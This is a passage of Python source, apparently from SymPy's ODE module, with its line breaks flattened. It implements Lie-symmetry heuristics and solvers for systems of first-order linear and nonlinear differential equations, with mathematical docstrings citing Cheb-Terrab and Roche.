y}[(h\frac{\partial^{2}}{ \partial x^{2}}(h^{-1}))^{-1}] is separable in `x` and `y`, 1. The separated factors containing `y` is `\frac{\partial g}{\partial y}`. From this `g(y)` can be determined. 2. The separated factors containing `x` is `f''(x)`. 3. `h\frac{\partial^{2}}{\partial x^{2}}(h^{-1})` equals `\frac{f''(x)}{f(x) + g(y)}`. From this `f(x)` can be determined. The second assumption holds good if `\frac{dy}{dx} = h(x, y)` is rewritten as `\frac{dy}{dx} = \frac{1}{h(y, x)}` and the same properties of the first assumption satisfies. After obtaining `f(x)` and `g(y)`, the coordinates are again interchanged, to get `\eta` as `f(x) + g(y)`. For both assumptions, the constant factors are separated among `g(y)` and `f''(x)`, such that `f''(x)` obtained from 3] is the same as that obtained from 2]. If not possible, then this heuristic fails. References ========== - E.S. Cheb-Terrab, A.D. Roche, Symmetries and First Order ODE Patterns, pp. 7 - pp. 8 """ xieta = [] h = match['h'] func = match['func'] hinv = match['hinv'] x = func.args[0] y = match['y'] xi = Function('xi')(x, func) eta = Function('eta')(x, func) for odefac in [h, hinv]: factor = odefac*((1/odefac).diff(x, 2)) sep = separatevars((1/factor).diff(y), dict=True, symbols=[x, y]) if sep and sep['coeff'] and sep[x].has(x) and sep[y].has(y): k = Dummy("k") try: gy = k*integrate(sep[y], y) except NotImplementedError: pass else: fdd = 1/(k*sep[x]*sep['coeff']) fx = simplify(fdd/factor - gy) check = simplify(fx.diff(x, 2) - fdd) if fx: if not check: fx = fx.subs(k, 1) gy = (gy/k) else: sol = solve(check, k) if sol: sol = sol[0] fx = fx.subs(k, sol) gy = (gy/k)*sol else: continue if odefac == hinv: # Inverse ODE fx = fx.subs(x, y) gy = gy.subs(y, x) etaval = factor_terms(fx + gy) if etaval.is_Mul: etaval = Mul(*[arg for arg in etaval.args if arg.has(x, y)]) if odefac == hinv: # Inverse ODE inf = {eta: etaval.subs(y, func), xi : S.Zero} else: inf = {xi: etaval.subs(y, func), eta : S.Zero} if not comp: return [inf] else: xieta.append(inf) if xieta: return xieta def lie_heuristic_abaco2_similar(match, comp=False): r""" This heuristic uses the following two assumptions on `\xi` and `\eta` .. math:: \eta = g(x), \xi = f(x) .. math:: \eta = f(y), \xi = g(y) For the first assumption, 1. First `\frac{\frac{\partial h}{\partial y}}{\frac{\partial^{2} h}{ \partial yy}}` is calculated. Let us say this value is A 2. If this is constant, then `h` is matched to the form `A(x) + B(x)e^{ \frac{y}{C}}` then, `\frac{e^{\int \frac{A(x)}{C} \,dx}}{B(x)}` gives `f(x)` and `A(x)*f(x)` gives `g(x)` 3. Otherwise `\frac{\frac{\partial A}{\partial X}}{\frac{\partial A}{ \partial Y}} = \gamma` is calculated. If a] `\gamma` is a function of `x` alone b] `\frac{\gamma\frac{\partial h}{\partial y} - \gamma'(x) - \frac{ \partial h}{\partial x}}{h + \gamma} = G` is a function of `x` alone. then, `e^{\int G \,dx}` gives `f(x)` and `-\gamma*f(x)` gives `g(x)` The second assumption holds good if `\frac{dy}{dx} = h(x, y)` is rewritten as `\frac{dy}{dx} = \frac{1}{h(y, x)}` and the same properties of the first assumption satisfies. After obtaining `f(x)` and `g(x)`, the coordinates are again interchanged, to get `\xi` as `f(x^*)` and `\eta` as `g(y^*)` References ========== - E.S. Cheb-Terrab, A.D. Roche, Symmetries and First Order ODE Patterns, pp. 10 - pp. 12 """ h = match['h'] hx = match['hx'] hy = match['hy'] func = match['func'] hinv = match['hinv'] x = func.args[0] y = match['y'] xi = Function('xi')(x, func) eta = Function('eta')(x, func) factor = cancel(h.diff(y)/h.diff(y, 2)) factorx = factor.diff(x) factory = factor.diff(y) if not factor.has(x) and not factor.has(y): A = Wild('A', exclude=[y]) B = Wild('B', exclude=[y]) C = Wild('C', exclude=[x, y]) match = h.match(A + B*exp(y/C)) try: tau = exp(-integrate(match[A]/match[C]), x)/match[B] except NotImplementedError: pass else: gx = match[A]*tau return [{xi: tau, eta: gx}] else: gamma = cancel(factorx/factory) if not gamma.has(y): tauint = cancel((gamma*hy - gamma.diff(x) - hx)/(h + gamma)) if not tauint.has(y): try: tau = exp(integrate(tauint, x)) except NotImplementedError: pass else: gx = -tau*gamma return [{xi: tau, eta: gx}] factor = cancel(hinv.diff(y)/hinv.diff(y, 2)) factorx = factor.diff(x) factory = factor.diff(y) if not factor.has(x) and not factor.has(y): A = Wild('A', exclude=[y]) B = Wild('B', exclude=[y]) C = Wild('C', exclude=[x, y]) match = h.match(A + B*exp(y/C)) try: tau = exp(-integrate(match[A]/match[C]), x)/match[B] except NotImplementedError: pass else: gx = match[A]*tau return [{eta: tau.subs(x, func), xi: gx.subs(x, func)}] else: gamma = cancel(factorx/factory) if not gamma.has(y): tauint = cancel((gamma*hinv.diff(y) - gamma.diff(x) - hinv.diff(x))/( hinv + gamma)) if not tauint.has(y): try: tau = exp(integrate(tauint, x)) except NotImplementedError: pass else: gx = -tau*gamma return [{eta: tau.subs(x, func), xi: gx.subs(x, func)}] def lie_heuristic_abaco2_unique_unknown(match, comp=False): r""" This heuristic assumes the presence of unknown functions or known functions with non-integer powers. 1. A list of all functions and non-integer powers containing x and y 2. Loop over each element `f` in the list, find `\frac{\frac{\partial f}{\partial x}}{ \frac{\partial f}{\partial x}} = R` If it is separable in `x` and `y`, let `X` be the factors containing `x`. Then a] Check if `\xi = X` and `\eta = -\frac{X}{R}` satisfy the PDE. If yes, then return `\xi` and `\eta` b] Check if `\xi = \frac{-R}{X}` and `\eta = -\frac{1}{X}` satisfy the PDE. If yes, then return `\xi` and `\eta` If not, then check if a] :math:`\xi = -R,\eta = 1` b] :math:`\xi = 1, \eta = -\frac{1}{R}` are solutions. References ========== - E.S. Cheb-Terrab, A.D. Roche, Symmetries and First Order ODE Patterns, pp. 10 - pp. 12 """ h = match['h'] hx = match['hx'] hy = match['hy'] func = match['func'] x = func.args[0] y = match['y'] xi = Function('xi')(x, func) eta = Function('eta')(x, func) funclist = [] for atom in h.atoms(Pow): base, exp = atom.as_base_exp() if base.has(x) and base.has(y): if not exp.is_Integer: funclist.append(atom) for function in h.atoms(AppliedUndef): syms = function.free_symbols if x in syms and y in syms: funclist.append(function) for f in funclist: frac = cancel(f.diff(y)/f.diff(x)) sep = separatevars(frac, dict=True, symbols=[x, y]) if sep and sep['coeff']: xitry1 = sep[x] etatry1 = -1/(sep[y]*sep['coeff']) pde1 = etatry1.diff(y)*h - xitry1.diff(x)*h - xitry1*hx - etatry1*hy if not simplify(pde1): return [{xi: xitry1, eta: etatry1.subs(y, func)}] xitry2 = 1/etatry1 etatry2 = 1/xitry1 pde2 = etatry2.diff(x) - (xitry2.diff(y))*h**2 - xitry2*hx - etatry2*hy if not simplify(expand(pde2)): return [{xi: xitry2.subs(y, func), eta: etatry2}] else: etatry = -1/frac pde = etatry.diff(x) + etatry.diff(y)*h - hx - etatry*hy if not simplify(pde): return [{xi: S.One, eta: etatry.subs(y, func)}] xitry = -frac pde = -xitry.diff(x)*h -xitry.diff(y)*h**2 - xitry*hx -hy if not simplify(expand(pde)): return [{xi: xitry.subs(y, func), eta: S.One}] def lie_heuristic_abaco2_unique_general(match, comp=False): r""" This heuristic finds if infinitesimals of the form `\eta = f(x)`, `\xi = g(y)` without making any assumptions on `h`. The complete sequence of steps is given in the paper mentioned below. References ========== - E.S. Cheb-Terrab, A.D. Roche, Symmetries and First Order ODE Patterns, pp. 10 - pp. 12 """ hx = match['hx'] hy = match['hy'] func = match['func'] x = func.args[0] y = match['y'] xi = Function('xi')(x, func) eta = Function('eta')(x, func) A = hx.diff(y) B = hy.diff(y) + hy**2 C = hx.diff(x) - hx**2 if not (A and B and C): return Ax = A.diff(x) Ay = A.diff(y) Axy = Ax.diff(y) Axx = Ax.diff(x) Ayy = Ay.diff(y) D = simplify(2*Axy + hx*Ay - Ax*hy + (hx*hy + 2*A)*A)*A - 3*Ax*Ay if not D: E1 = simplify(3*Ax**2 + ((hx**2 + 2*C)*A - 2*Axx)*A) if E1: E2 = simplify((2*Ayy + (2*B - hy**2)*A)*A - 3*Ay**2) if not E2: E3 = simplify( E1*((28*Ax + 4*hx*A)*A**3 - E1*(hy*A + Ay)) - E1.diff(x)*8*A**4) if not E3: etaval = cancel((4*A**3*(Ax - hx*A) + E1*(hy*A - Ay))/(S(2)*A*E1)) if x not in etaval: try: etaval = exp(integrate(etaval, y)) except NotImplementedError: pass else: xival = -4*A**3*etaval/E1 if y not in xival: return [{xi: xival, eta: etaval.subs(y, func)}] else: E1 = simplify((2*Ayy + (2*B - hy**2)*A)*A - 3*Ay**2) if E1: E2 = simplify( 4*A**3*D - D**2 + E1*((2*Axx - (hx**2 + 2*C)*A)*A - 3*Ax**2)) if not E2: E3 = simplify( -(A*D)*E1.diff(y) + ((E1.diff(x) - hy*D)*A + 3*Ay*D + (A*hx - 3*Ax)*E1)*E1) if not E3: etaval = cancel(((A*hx - Ax)*E1 - (Ay + A*hy)*D)/(S(2)*A*D)) if x not in etaval: try: etaval = exp(integrate(etaval, y)) except NotImplementedError: pass else: xival = -E1*etaval/D if y not in xival: return [{xi: xival, eta: etaval.subs(y, func)}] def lie_heuristic_linear(match, comp=False): r""" This heuristic assumes 1. `\xi = ax + by + c` and 2. `\eta = fx + gy + h` After substituting the following assumptions in the determining PDE, it reduces to .. math:: f + (g - a)h - bh^{2} - (ax + by + c)\frac{\partial h}{\partial x} - (fx + gy + c)\frac{\partial h}{\partial y} Solving the reduced PDE obtained, using the method of characteristics, becomes impractical. The method followed is grouping similar terms and solving the system of linear equations obtained. The difference between the bivariate heuristic is that `h` need not be a rational function in this case. References ========== - E.S. Cheb-Terrab, A.D. Roche, Symmetries and First Order ODE Patterns, pp. 10 - pp. 12 """ h = match['h'] hx = match['hx'] hy = match['hy'] func = match['func'] x = func.args[0] y = match['y'] xi = Function('xi')(x, func) eta = Function('eta')(x, func) coeffdict = {} symbols = numbered_symbols("c", cls=Dummy) symlist = [next(symbols) for _ in islice(symbols, 6)] C0, C1, C2, C3, C4, C5 = symlist pde = C3 + (C4 - C0)*h - (C0*x + C1*y + C2)*hx - (C3*x + C4*y + C5)*hy - C1*h**2 pde, denom = pde.as_numer_denom() pde = powsimp(expand(pde)) if pde.is_Add: terms = pde.args for term in terms: if term.is_Mul: rem = Mul(*[m for m in term.args if not m.has(x, y)]) xypart = term/rem if xypart not in coeffdict: coeffdict[xypart] = rem else: coeffdict[xypart] += rem else: if term not in coeffdict: coeffdict[term] = S.One else: coeffdict[term] += S.One sollist = coeffdict.values() soldict = solve(sollist, symlist) if soldict: if isinstance(soldict, list): soldict = soldict[0] subval = soldict.values() if any(t for t in subval): onedict = dict(zip(symlist, [1]*6)) xival = C0*x + C1*func + C2 etaval = C3*x + C4*func + C5 xival = xival.subs(soldict) etaval = etaval.subs(soldict) xival = xival.subs(onedict) etaval = etaval.subs(onedict) return [{xi: xival, eta: etaval}] def sysode_linear_2eq_order1(match_): x = match_['func'][0].func y = match_['func'][1].func func = match_['func'] fc = match_['func_coeff'] eq = match_['eq'] r = dict() t = list(list(eq[0].atoms(Derivative))[0].atoms(Symbol))[0] for i in range(2): eqs = 0 for terms in Add.make_args(eq[i]): eqs += terms/fc[i,func[i],1] eq[i] = eqs # for equations Eq(a1*diff(x(t),t), a*x(t) + b*y(t) + k1) # and Eq(a2*diff(x(t),t), c*x(t) + d*y(t) + k2) r['a'] = -fc[0,x(t),0]/fc[0,x(t),1] r['c'] = -fc[1,x(t),0]/fc[1,y(t),1] r['b'] = -fc[0,y(t),0]/fc[0,x(t),1] r['d'] = -fc[1,y(t),0]/fc[1,y(t),1] forcing = [S.Zero,S.Zero] for i in range(2): for j in Add.make_args(eq[i]): if not j.has(x(t), y(t)): forcing[i] += j if not (forcing[0].has(t) or forcing[1].has(t)): r['k1'] = forcing[0] r['k2'] = forcing[1] else: raise NotImplementedError("Only homogeneous problems are supported" + " (and constant inhomogeneity)") if match_['type_of_equation'] == 'type6': sol = _linear_2eq_order1_type6(x, y, t, r, eq) if match_['type_of_equation'] == 'type7': sol = _linear_2eq_order1_type7(x, y, t, r, eq) return sol def _linear_2eq_order1_type6(x, y, t, r, eq): r""" The equations of this type of ode are . .. math:: x' = f(t) x + g(t) y .. math:: y' = a [f(t) + a h(t)] x + a [g(t) - h(t)] y This is solved by first multiplying the first equation by `-a` and adding it to the second equation to obtain .. math:: y' - a x' = -a h(t) (y - a x) Setting `U = y - ax` and integrating the equation we arrive at .. math:: y - ax = C_1 e^{-a \int h(t) \,dt} and on substituting the value of y in first equation give rise to first order ODEs. After solving for `x`, we can obtain `y` by substituting the value of `x` in second equation. """ C1, C2, C3, C4 = get_numbered_constants(eq, num=4) p = 0 q = 0 p1 = cancel(r['c']/cancel(r['c']/r['d']).as_numer_denom()[0]) p2 = cancel(r['a']/cancel(r['a']/r['b']).as_numer_denom()[0]) for n, i in enumerate([p1, p2]): for j in Mul.make_args(collect_const(i)): if not j.has(t): q = j if q!=0 and n==0: if ((r['c']/j - r['a'])/(r['b'] - r['d']/j)) == j: p = 1 s = j break if q!=0 and n==1: if ((r['a']/j - r['c'])/(r['d'] - r['b']/j)) == j: p = 2 s = j break if p == 1: equ = diff(x(t),t) - r['a']*x(t) - r['b']*(s*x(t) + C1*exp(-s*Integral(r['b'] - r['d']/s, t))) hint1 = classify_ode(equ)[1] sol1 = dsolve(equ, hint=hint1+'_Integral').rhs sol2 = s*sol1 + C1*exp(-s*Integral(r['b'] - r['d']/s, t)) elif p ==2: equ = diff(y(t),t) - r['c']*y(t) - r['d']*s*y(t) + C1*exp(-s*Integral(r['d'] - r['b']/s, t)) hint1 = classify_ode(equ)[1] sol2 = dsolve(equ, hint=hint1+'_Integral').rhs sol1 = s*sol2 + C1*exp(-s*Integral(r['d'] - r['b']/s, t)) return [Eq(x(t), sol1), Eq(y(t), sol2)] def _linear_2eq_order1_type7(x, y, t, r, eq): r""" The equations of this type of ode are . .. math:: x' = f(t) x + g(t) y .. math:: y' = h(t) x + p(t) y Differentiating the first equation and substituting the value of `y` from second equation will give a second-order linear equation .. math:: g x'' - (fg + gp + g') x' + (fgp - g^{2} h + f g' - f' g) x = 0 This above equation can be easily integrated if following conditions are satisfied. 1. `fgp - g^{2} h + f g' - f' g = 0` 2. `fgp - g^{2} h + f g' - f' g = ag, fg + gp + g' = bg` If first condition is satisfied then it is solved by current dsolve solver and in second case it becomes a constant coefficient differential equation which is also solved by current solver. Otherwise if the above condition fails then, a particular solution is assumed as `x = x_0(t)` and `y = y_0(t)` Then the general solution is expressed as .. math:: x = C_1 x_0(t) + C_2 x_0(t) \int \frac{g(t) F(t) P(t)}{x_0^{2}(t)} \,dt .. math:: y = C_1 y_0(t) + C_2 [\frac{F(t) P(t)}{x_0(t)} + y_0(t) \int \frac{g(t) F(t) P(t)}{x_0^{2}(t)} \,dt] where C1 and C2 are arbitrary constants and .. math:: F(t) = e^{\int f(t) \,dt} , P(t) = e^{\int p(t) \,dt} """ C1, C2, C3, C4 = get_numbered_constants(eq, num=4) e1 = r['a']*r['b']*r['c'] - r['b']**2*r['c'] + r['a']*diff(r['b'],t) - diff(r['a'],t)*r['b'] e2 = r['a']*r['c']*r['d'] - r['b']*r['c']**2 + diff(r['c'],t)*r['d'] - r['c']*diff(r['d'],t) m1 = r['a']*r['b'] + r['b']*r['d'] + diff(r['b'],t) m2 = r['a']*r['c'] + r['c']*r['d'] + diff(r['c'],t) if e1 == 0: sol1 = dsolve(r['b']*diff(x(t),t,t) - m1*diff(x(t),t)).rhs sol2 = dsolve(diff(y(t),t) - r['c']*sol1 - r['d']*y(t)).rhs elif e2 == 0: sol2 = dsolve(r['c']*diff(y(t),t,t) - m2*diff(y(t),t)).rhs sol1 = dsolve(diff(x(t),t) - r['a']*x(t) - r['b']*sol2).rhs elif not (e1/r['b']).has(t) and not (m1/r['b']).has(t): sol1 = dsolve(diff(x(t),t,t) - (m1/r['b'])*diff(x(t),t) - (e1/r['b'])*x(t)).rhs sol2 = dsolve(diff(y(t),t) - r['c']*sol1 - r['d']*y(t)).rhs elif not (e2/r['c']).has(t) and not (m2/r['c']).has(t): sol2 = dsolve(diff(y(t),t,t) - (m2/r['c'])*diff(y(t),t) - (e2/r['c'])*y(t)).rhs sol1 = dsolve(diff(x(t),t) - r['a']*x(t) - r['b']*sol2).rhs else: x0 = Function('x0')(t) # x0 and y0 being particular solutions y0 = Function('y0')(t) F = exp(Integral(r['a'],t)) P = exp(Integral(r['d'],t)) sol1 = C1*x0 + C2*x0*Integral(r['b']*F*P/x0**2, t) sol2 = C1*y0 + C2*(F*P/x0 + y0*Integral(r['b']*F*P/x0**2, t)) return [Eq(x(t), sol1), Eq(y(t), sol2)] def sysode_nonlinear_2eq_order1(match_): func = match_['func'] eq = match_['eq'] fc = match_['func_coeff'] t = list(list(eq[0].atoms(Derivative))[0].atoms(Symbol))[0] if match_['type_of_equation'] == 'type5': sol = _nonlinear_2eq_order1_type5(func, t, eq) return sol x = func[0].func y = func[1].func for i in range(2): eqs = 0 for terms in Add.make_args(eq[i]): eqs += terms/fc[i,func[i],1] eq[i] = eqs if match_['type_of_equation'] == 'type1': sol = _nonlinear_2eq_order1_type1(x, y, t, eq) elif match_['type_of_equation'] == 'type2': sol = _nonlinear_2eq_order1_type2(x, y, t, eq) elif match_['type_of_equation'] == 'type3': sol = _nonlinear_2eq_order1_type3(x, y, t, eq) elif match_['type_of_equation'] == 'type4': sol = _nonlinear_2eq_order1_type4(x, y, t, eq) return sol def _nonlinear_2eq_order1_type1(x, y, t, eq): r""" Equations: .. math:: x' = x^n F(x,y) .. math:: y' = g(y) F(x,y) Solution: .. math:: x = \varphi(y), \int \frac{1}{g(y) F(\varphi(y),y)} \,dy = t + C_2 where if `n \neq 1` .. math:: \varphi = [C_1 + (1-n) \int \frac{1}{g(y)} \,dy]^{\frac{1}{1-n}} if `n = 1` .. math:: \varphi = C_1 e^{\int \frac{1}{g(y)} \,dy} where `C_1` and `C_2` are arbitrary constants. """ C1, C2 = get_numbered_constants(eq, num=2) n = Wild('n', exclude=[x(t),y(t)]) f = Wild('f') u, v = symbols('u, v') r = eq[0].match(diff(x(t),t) - x(t)**n*f) g = ((diff(y(t),t) - eq[1])/r[f]).subs(y(t),v) F = r[f].subs(x(t),u).subs(y(t),v) n = r[n] if n!=1: phi = (C1 + (1-n)*Integral(1/g, v))**(1/(1-n)) else: phi = C1*exp(Integral(1/g, v)) phi = phi.doit() sol2 = solve(Integral(1/(g*F.subs(u,phi)), v).doit() - t - C2, v) sol = [] for sols in sol2: sol.append(Eq(x(t),phi.subs(v, sols))) sol.append(Eq(y(t), sols)) return sol def _nonlinear_2eq_order1_type2(x, y, t, eq): r""" Equations: .. math:: x' = e^{\lambda x} F(x,y) .. math:: y' = g(y) F(x,y) Solution: .. math:: x = \varphi(y), \int \frac{1}{g(y) F(\varphi(y),y)} \,dy = t + C_2 where if `\lambda \neq 0` .. math:: \varphi = -\frac{1}{\lambda} log(C_1 - \lambda \int \frac{1}{g(y)} \,dy) if `\lambda = 0` .. math:: \varphi = C_1 + \int \frac{1}{g(y)} \,dy where `C_1` and `C_2` are arbitrary constants. """ C1, C2 = get_numbered_constants(eq, num=2) n = Wild('n', exclude=[x(t),y(t)]) f = Wild('f') u, v = symbols('u, v') r = eq[0].match(diff(x(t),t) - exp(n*x(t))*f) g = ((diff(y(t),t) - eq[1])/r[f]).subs(y(t),v) F = r[f].subs(x(t),u).subs(y(t),v) n = r[n] if n: phi = -1/n*log(C1 - n*Integral(1/g, v)) else: phi = C1 + Integral(1/g, v) phi = phi.doit() sol2 = solve(Integral(1/(g*F.subs(u,phi)), v).doit() - t - C2, v) sol = [] for sols in sol2: sol.append(Eq(x(t),phi.subs(v, sols))) sol.append(Eq(y(t), sols)) return sol def _nonlinear_2eq_order1_type3(x, y, t, eq): r""" Autonomous system of general form .. math:: x' = F(x,y) .. math:: y' = G(x,y) Assuming `y = y(x, C_1)` where `C_1` is an arbitrary constant is the general solution of the first-order equation .. math:: F(x,y) y'_x = G(x,y) Then the general solution of the original system of equations has the form .. math:: \int \frac{1}{F(x,y(x,C_1))} \,dx = t + C_1 """ C1, C2, C3, C4 = get_numbered_constants(eq, num=4) v = Function('v') u = Symbol('u') f = Wild('f') g = Wild('g') r1 = eq[0].match(diff(x(t),t) - f) r2 = eq[1].match(diff(y(t),t) - g) F = r1[f].subs(x(t), u).subs(y(t), v(u)) G = r2[g].subs(x(t), u).subs(y(t), v(u)) sol2r = dsolve(Eq(diff(v(u), u), G/F)) if isinstance(sol2r, Expr): sol2r = [sol2r] for sol2s in sol2r: sol1 = solve(Integral(1/F.subs(v(u), sol2s.rhs), u).doit() - t - C2, u) sol = [] for sols in sol1: sol.append(Eq(x(t), sols)) sol.append(Eq(y(t), (sol2s.rhs).subs(u, sols))) return sol def _nonlinear_2eq_order1_type4(x, y, t, eq): r""" Equation: .. math:: x' = f_1(x) g_1(y) \phi(x,y,t) .. math:: y' = f_2(x) g_2(y) \phi(x,y,t) First integral: .. math:: \int \frac{f_2(x)}{f_1(x)} \,dx - \int \frac{g_1(y)}{g_2(y)} \,dy = C where `C` is an arbitrary constant. On solving the first integral for `x` (resp., `y` ) and on substituting the resulting expression into either equation of the original solution, one arrives at a first-order equation for determining `y` (resp., `x` ). """ C1, C2 = get_numbered_constants(eq, num=2) u, v = symbols('u, v') U, V = symbols('U, V', cls=Function) f = Wild('f') g = Wild('g') f1 = Wild('f1', exclude=[v,t]) f2 = Wild('f2', exclude=[v,t]) g1 = Wild('g1', exclude=[u,t]) g2 = Wild('g2', exclude=[u,t]) r1 = eq[0].match(diff(x(t),t) - f) r2 = eq[1].match(diff(y(t),t) - g) num, den = ( (r1[f].subs(x(t),u).subs(y(t),v))/ (r2[g].subs(x(t),u).subs(y(t),v))).as_numer_denom() R1 = num.match(f1*g1) R2 = den.match(f2*g2) phi = (r1[f].subs(x(t),u).subs(y(t),v))/num F1 = R1[f1]; F2 = R2[f2] G1 = R1[g1]; G2 = R2[g2] sol1r = solve(Integral(F2/F1, u).doit() - Integral(G1/G2,v).doit() - C1, u) sol2r = solve(Integral(F2/F1, u).doit() - Integral(G1/G2,v).doit() - C1, v) sol = [] for sols in sol1r: sol.append(Eq(y(t), dsolve(diff(V(t),t) - F2.subs(u,sols).subs(v,V(t))*G2.subs(v,V(t))*phi.subs(u,sols).subs(v,V(t))).rhs)) for sols in sol2r: sol.append(Eq(x(t), dsolve(diff(U(t),t) - F1.subs(u,U(t))*G1.subs(v,sols).subs(u,U(t))*phi.subs(v,sols).subs(u,U(t))).rhs)) return set(sol) def _nonlinear_2eq_order1_type5(func, t, eq): r""" Clairaut system of ODEs .. math:: x = t x' + F(x',y') .. math:: y = t y' + G(x',y') The following are solutions of the system `(i)` straight lines: .. math:: x = C_1 t + F(C_1, C_2), y = C_2 t + G(C_1, C_2) where `C_1` and `C_2` are arbitrary constants; `(ii)` envelopes of the above lines; `(iii)` continuously differentiable lines made up from segments of the lines `(i)` and `(ii)`. """ C1, C2 = get_numbered_constants(eq, num=2) f = Wild('f') g = Wild('g') def check_type(x, y): r1 = eq[0].match(t*diff(x(t),t) - x(t) + f) r2 = eq[1].match(t*diff(y(t),t) - y(t) + g) if not (r1 and r2): r1 = eq[0].match(diff(x(t),t) - x(t)/t + f/t) r2 = eq[1].match(diff(y(t),t) - y(t)/t + g/t) if not (r1 and r2): r1 = (-eq[0]).match(t*diff(x(t),t) - x(t) + f) r2 = (-eq[1]).match(t*diff(y(t),t) - y(t) + g) if not (r1 and r2): r1 = (-eq[0]).match(diff(x(t),t) - x(t)/t + f/t) r2 = (-eq[1]).match(diff(y(t),t) - y(t)/t + g/t) return [r1, r2] for func_ in func: if isinstance(func_, list): x = func[0][0].func y = func[0][1].func [r1, r2] = check_type(x, y) if not (r1 and r2): [r1, r2] = check_type(y, x) x, y = y, x x1 = diff(x(t),t); y1 = diff(y(t),t) return {Eq(x(t), C1*t + r1[f].subs(x1,C1).subs(y1,C2)), Eq(y(t), C2*t + r2[g].subs(x1,C1).subs(y1,C2))} def sysode_nonlinear_3eq_order1(match_): x = match_['func'][0].func y = match_['func'][1].func z = match_['func'][2].func eq = match_['eq'] t = list(list(eq[0].atoms(Derivative))[0].atoms(Symbol))[0] if match_['type_of_equation'] == 'type1': sol = _nonlinear_3eq_order1_type1(x, y, z, t, eq) if match_['type_of_equation'] == 'type2': sol = _nonlinear_3eq_order1_type2(x, y, z, t, eq) if match_['type_of_equation'] == 'type3': sol = _nonlinear_3eq_order1_type3(x, y, z, t, eq) if match_['type_of_equation'] == 'type4': sol = _nonlinear_3eq_order1_type4(x, y, z, t, eq) if match_['type_of_equation'] == 'type5': sol = _nonlinear_3eq_order1_type5(x, y, z, t, eq) return sol def _nonlinear_3eq_order1_type1(x, y, z, t, eq): r""" Equations: .. math:: a x' = (b - c) y z, \enspace b y' = (c - a) z x, \enspace c z' = (a - b) x y First Integrals: .. math:: a x^{2} + b y^{2} + c z^{2} = C_1 .. math:: a^{2} x^{2} + b^{2} y^{2} + c^{2} z^{2} = C_2 where `C_1` and `C_2` are arbitrary constants. On solving the integrals for `y` and `z` and on substituting the resulting expressions into the first equation of the system, we arrives at a separable first-order equation on `x`. Similarly doing that for other two equations, we will arrive at first order equation on `y` and `z` too. References ========== -http://eqworld.ipmnet.ru/en/solutions/sysode/sode0401.pdf """ C1, C2 = get_numbered_constants(eq, num=2) u, v, w = symbols('u, v, w') p = Wild('p', exclude=[x(t), y(t), z(t), t]) q = Wild('q', exclude=[x(t), y(t), z(t), t]) s = Wild('s', exclude=[x(t), y(t), z(t), t]) r = (diff(x(t),t) - eq[0]).match(p*y(t)*z(t)) r.update((diff(y(t),t) - eq[1]).match(q*z(t)*x(t))) r.update((diff(z(t),t) - eq[2]).match(s*x(t)*y(t))) n1, d1 = r[p].as_numer_denom() n2, d2 = r[q].as_numer_denom() n3, d3 = r[s].as_numer_denom() val = solve([n1*u-d1*v+d1*w, d2*u+n2*v-d2*w, d3*u-d3*v-n3*w],[u,v]) vals = [val[v], val[u]] c = lcm(vals[0].as_numer_denom()[1], vals[1].as_numer_denom()[1]) b = vals[0].subs(w, c) a = vals[1].subs(w, c) y_x = sqrt(((c*C1-C2) - a*(c-a)*x(t)**2)/(b*(c-b))) z_x = sqrt(((b*C1-C2) - a*(b-a)*x(t)**2)/(c*(b-c))) z_y = sqrt(((a*C1-C2) - b*(a-b)*y(t)**2)/(c*(a-c))) x_y = sqrt(((c*C1-C2) - b*(c-b)*y(t)**2)/(a*(c-a))) x_z = sqrt(((b*C1-C2) - c*(b-c)*z(t)**2)/(a*(b-a))) y_z = sqrt(((a*C1-C2) - c*(a-c)*z(t)**2)/(b*(a-b))) sol1 = dsolve(a*diff(x(t),t) - (b-c)*y_x*z_x) sol2 = dsolve(b*diff(y(t),t) - (c-a)*z_y*x_y) sol3 = dsolve(c*diff(z(t),t) - (a-b)*x_z*y_z) return [sol1, sol2, sol3] def _nonlinear_3eq_order1_type2(x, y, z, t, eq): r""" Equations: .. math:: a x' = (b - c) y z f(x, y, z, t) .. math:: b y' = (c - a) z x f(x, y, z, t) .. math:: c z' = (a - b) x y f(x, y, z, t) First Integrals: .. math:: a x^{2} + b y^{2} + c z^{2} = C_1 .. math:: a^{2} x^{2} + b^{2} y^{2} + c^{2} z^{2} = C_2 where `C_1` and `C_2` are arbitrary constants. On solving the integrals for `y` and `z` and on substituting the resulting expressions into the first equation of the system, we arrives at a first-order differential equations on `x`. Similarly doing that for other two equations we will arrive at first order equation on `y` and `z`. References ========== -http://eqworld.ipmnet.ru/en/solutions/sysode/sode0402.pdf """ C1, C2 = get_numbered_constants(eq, num=2) u, v, w = symbols('u, v, w') p = Wild('p', exclude=[x(t), y(t), z(t), t]) q = Wild('q', exclude=[x(t), y(t), z(t), t]) s = Wild('s', exclude=[x(t), y(t), z(t), t]) f = Wild('f') r1 = (diff(x(t),t) - eq[0]).match(y(t)*z(t)*f) r = collect_const(r1[f]).match(p*f) r.update(((diff(y(t),t) - eq[1])/r[f]).match(q*z(t)*x(t))) r.update(((diff(z(t),t) - eq[2])/r[f]).match(s*x(t)*y(t))) n1, d1 = r[p].as_numer_denom() n2, d2 = r[q].as_numer_denom() n3, d3 = r[s].as_numer_denom() val = solve([n1*u-d1*v+d1*w, d2*u+n2*v-d2*w, -d3*u+d3*v+n3*w],[u,v]) vals = [val[v], val[u]] c = lcm(vals[0].as_numer_denom()[1], vals[1].as_numer_denom()[1]) a = vals[0].subs(w, c) b = vals[1].subs(w, c) y_x = sqrt(((c*C1-C2) - a*(c-a)*x(t)**2)/(b*(c-b))) z_x = sqrt(((b*C1-C2) - a*(b-a)*x(t)**2)/(c*(b-c))) z_y = sqrt(((a*C1-C2) - b*(a-b)*y(t)**2)/(c*(a-c))) x_y = sqrt(((c*C1-C2) - b*(c-b)*y(t)**2)/(a*(c-a))) x_z = sqrt(((b*C1-C2) - c*(b-c)*z(t)**2)/(a*(b-a))) y_z = sqrt(((a*C1-C2) - c*(a-c)*z(t)**2)/(b*(a-b))) sol1 = dsolve(a*diff(x(t),t) - (b-c)*y_x*z_x*r[f]) sol2 = dsolve(b*diff(y(t),t) - (c-a)*z_y*x_y*r[f]) sol3 = dsolve(c*diff(z(t),t) - (a-b)*x_z*y_z*r[f]) return [sol1, sol2, sol3] def _nonlinear_3eq_order1_type3(x, y, z, t, eq): r""" Equations: .. math:: x' = c F_2 - b F_3, \enspace y' = a F_3 - c F_1, \enspace z' = b F_1 - a F_2 where `F_n = F_n(x, y, z, t)`. 1. First Integral: .. math:: a x + b y + c z = C_1, where C is an arbitrary constant. 2. If we assume function `F_n` to be independent of `t`,i.e, `F_n` = `F_n (x, y, z)` Then, on eliminating `t` and `z` from the 